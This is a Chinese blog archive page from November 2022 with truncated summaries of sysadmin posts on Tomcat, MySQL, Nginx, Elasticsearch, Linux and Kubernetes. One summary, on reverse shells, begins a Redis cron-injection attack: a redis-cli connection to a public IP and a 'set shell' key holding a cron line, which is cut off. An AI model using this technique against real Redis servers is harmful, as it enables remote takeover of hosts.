11 2022 档案
摘要:tomcat版本:7.0.93 报错信息如下: Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level. java.lang.IllegalArgumentException: Inv
阅读全文
摘要:elasticsearch 6.3版本之前的添加认证需安装x-pack插件,6.3之后貌似去掉了这个。 1、安装x-pack 先切换到elastic用户下,在执行以下命令 $cd /data/elasticsearch-6.2.4 --进到elasticsearch的安装目录 $./bin/elas
阅读全文
摘要:Linux命令行查看内存 用 'top -i' 看看有多少进程处于 Running 状态,可能系统存在内存或 I/O 瓶颈,用 free 看看系统内存使用情况,swap 是否被占用很多,用 iostat 看看 I/O 负载情况... 还有一种办法是 ps -ef | sort -k7 ,将进程按运行
阅读全文
摘要:# 反弹shell 反弹shell几种方式反弹shell实用案例- 远程连接redis ```shell redis-cli -h 112.74.176.185 #192.168.1.100 你的ip,1234 端口 -i 表示是交互式的 set shell "\n\n*/1 * * * * /bi
阅读全文
摘要:名称是否需要重启值允许值描述 auto_increment_increment 否 1 1~65,535 auto_increment_increment和auto_increment_offset 用于master-to-master的复制,并可以用来控制AUTO_INCREMENT列的操作。 a
阅读全文
摘要:MySQL性能优化之参数配置 1、目的: 通过根据服务器目前状况,修改Mysql的系统参数,达到合理利用服务器现有资源,最大合理的提高MySQL性能。 2、服务器参数: 32G内存、4个CPU,每个CPU 8核。 3、MySQL目前安装状况。 MySQL目前安装,用的是MySQL默认的最大支持配置。
阅读全文
摘要:MySQL调优之innodb_buffer_pool_size大小设置 sunny05296 2017-12-27 21:42:04 43421 收藏 9 展开 MySQL调优之innodb_buffer_pool_size大小设置 相关查看命令 sql> show global variables
阅读全文
摘要:MySQL高可用主从切换工具replication-manager MySQL高可用工具,一直以来MHA使用的比较多,自从MySQL 开启GTID之后,又出现了Orchestrator以及replication-manager这类新的高可用工具,本文将主要介绍replication-manager的
阅读全文
摘要:MySql语句性能问题定位--从sql语句到磁盘IO检查 一、背景 本文只针对IO导致MySql性能问题的定位,其他如CPU、MySql参数配置、程序自身等问题需要进一步补充。原因某条sql建表语句运行了15秒 二、步聚 Step1: 开启profiling SET profiling =1; 关闭
阅读全文
摘要:MySQL数据库负载很高的解决办法一、应急解决办法在MySQL数据库连接数很多,而且大多属于活跃的状态时MySQL机器基本上负载很高,属于基本上快要死去的状态了. 这时怎么办呢?有可能两个办法.第一: 先限制Innodb的并发处理.如果innodb_thread_concurrency = 0 可以
阅读全文
摘要:将原有的Executor标签内容替换成如下内容 <Executor name="tomcatThreadPool" --线程池名 namePrefix="catalina-exec-" maxThreads="500" minSpareThreads="30" maxIdleTime="60000"
阅读全文
摘要:tomcat并发调优 展开 1.场景还原 近期笔者在线上项目中遇到了tomcat假死的现象,服务器相关配置均属正常,但是app访问速度很慢;于是笔者想出两种解决方案:①nginx+tomcat实现负载均衡;②对tomcat并发调优,此前笔者nginx+tomcat负载均衡调优已经实现,今天就tomc
阅读全文
摘要:NGINX: 统计网站的PV、UV、独立IP Nginx: PV、UV、独立IP 做网站的都知道,平常经常要查询下网站PV、UV等网站的访问数据,当然如果网站做了CDN的话,nginx本地的日志就没什么意义了,下面就对nginx网站的日志访问数据做下统计; 概念: UV(Unique Visitor
阅读全文
摘要:运维=nginx处理options请求 发表于 2019-09-29 | 分类于 前端 | 没有评论 禁止OPTIONS请求响应200 运维:补漏洞-禁止OPTIONS请求响应200。 安全扫描检测到部分请求地址,将对应方法由GET、POST、HEAD改成OPTIONS,发现可以返回服务器的允许请求
阅读全文
摘要:一、一般来说nginx 配置文件中对优化比较有作用的为以下几项:1. worker_processes 8;nginx 进程数,建议按照cpu 数目来指定,一般为它的倍数 (如,2个四核的cpu计为8)。2. worker_cpu_affinity 00000001 00000010 0000010
阅读全文
摘要:目录 1 概念脑补 1.1 节点组 1.2 分区 1.3 副本 1.4 联系 2 重启类型信息表 3 管理节点配置 3.1 NodeId 3.2 HostName 3.3 LogDestination 3.4 ArbitrationRank 3.5 ArbitrationDelay 3.6 Data
阅读全文
摘要:目录 前言 1 概述 1.1 分布式数据库集群 1.2 数据库的分布式和主从的区别 2 环境说明 2.1 系统环境 2.2 软件环境 3 安装MySQL Cluster 4 配置安装管理节点 4.1 拷贝命令 4.2 配置文件 4.3 启动管理节点 5 配置安装数据节点 5.1 配置my.cnf文件
阅读全文
摘要:ELK分析Nginx日志和可视化展示 一、概述 使用ELK收集nginx access日志,利用Grafana做出一套可视化图表 二、环境准备 环境说明 操作系统:centos 7.6 docker版本:19.03.12 ip地址:192.168.31.196 elk搭建 关于elk的搭建,请参考以
阅读全文
摘要:目录 : 一、MySQL数据库的读写分离简介 1、mysql数据库的读写分离的基础知识(为什么要进行读写分离) 2、读写分离的实现方式 二、MySQL数据库读写分离实验 (一)、在server1和server2先配置主从复制 1、在server1上进行相关的配置 步骤一:在server1上面设置:m
阅读全文
摘要:企业级mysql数据库集群实战—— MySQL主从复制之全同步复制(单模式和多模式) 目录: 一、mysql全同步复制(组复制) 1、理解组复制工作原理 二、搭建mysql全同步复制多主模式 1、在master(server1)上: 步骤一:在网上下载mysql安装包并安装 步骤二:打开mysqld
阅读全文
摘要:企业级mysql数据库集群实战(3)—— MySQL主从复制之半同步复制 目录: 一、半同步复制简介 (一)、掌握Mysql复制方式的区别及优缺点 异步复制(Asynchronous replication) 全同步复制(Fully synchronous replication) 半同步复制(Se
阅读全文
摘要:企业级mysql数据库集群实战(2)—— MySQL主从复制之异步复制(传统复制Postion与Gtid) 目录 一. 主从复制简介 1、概念 2、原理 3、优点 二、异步复制 1、优缺点简介 2、理解pos复制与GTID复制方式 3、pos复制与GTID复制区别 三、搭建基于position异步复
阅读全文
摘要:Linux vmstat命令参数详解Linux公社 2018-08-31vmstat命令是最常见的Linux/Unix监控工具,可以展现给定时间间隔的服务器的状态值,包括服务器的CPU使用率,内存使用,虚拟内存交换情况,IO读写情况。这个命令是我查看Linux/Unix最喜爱的命令,一个是Linux
阅读全文
摘要:linux系统无法正常启动,故障排查恢复 linux内核启动修复首先看一下linux内核重要文件grub.conf12345678910111213141516171819202122# grub.conf generated by anaconda ## Note that you do not
阅读全文
摘要:排查java进程占用CPU过高思路 1.提取占用CPU过高的进程 方法一:使用top查找到占用CPU高的进程的pid top -d 1 方法二:使用ps查找到tomcat运行的进程pid ps -ef | grep tomcat 2.定位问题线程的pid (此处pid为上一步找到的进程id) 方法一
阅读全文
摘要:Flannel和Calico网络插件对比 Calico简介 Calico是一个纯三层的网络插件,calico的bgp模式类似于flannel的host-gw Calico方便集成 OpenStack这种 IaaS云架构,为openstack虚拟机、容器、裸机提供多主机间通信。 calico 架构 c
阅读全文
摘要:什么是交换空间• 相当于虚拟内存– 当物理内存不够用时,使用磁盘空间来模拟内存– 在一定程度上缓解内存不足的问题– 交换分区:以空闲分区充当的交换空间 1.格式化交换文件系统[root@server0 /]# ls /dev/vdb1 /dev/vdb2[root@server0 /]# mkswa
阅读全文
摘要:Dockerfile 详解 认识Dockerfile 1、镜像的生成路径 基于容器制作 dockerfile,docker build 2、Dockerfile 介绍 镜像的定制实际上就是定制每一层所添加的配置、文件。如果我们可以把每一层修改、安装、构建、操作的命令都写入一个脚本,用这个脚本来构建、
阅读全文
摘要:企业级K8S集群二进制环境部署 (最新版部署https://blog.csdn.net/yangyang_770/article/details/131283327) 集群架构 集群系统环境 一、集群环境配置 1.1、关闭所有节点swap分区 swapoff -a && sysctl -w vm.s
阅读全文
摘要:K8S架构原理及其工作流程 前言一、容器编排系统二、K8S整体架构图1、K8S Master节点2、K8S Node节点 三、POD创建过程四、K8S各组件工作流程总结k8s的组件k8s的工作流程 前言 一、容器编排系统 容器编排系统需要满足的条件: 服务注册,服务发现负载均衡配置、存储管理健康检查
阅读全文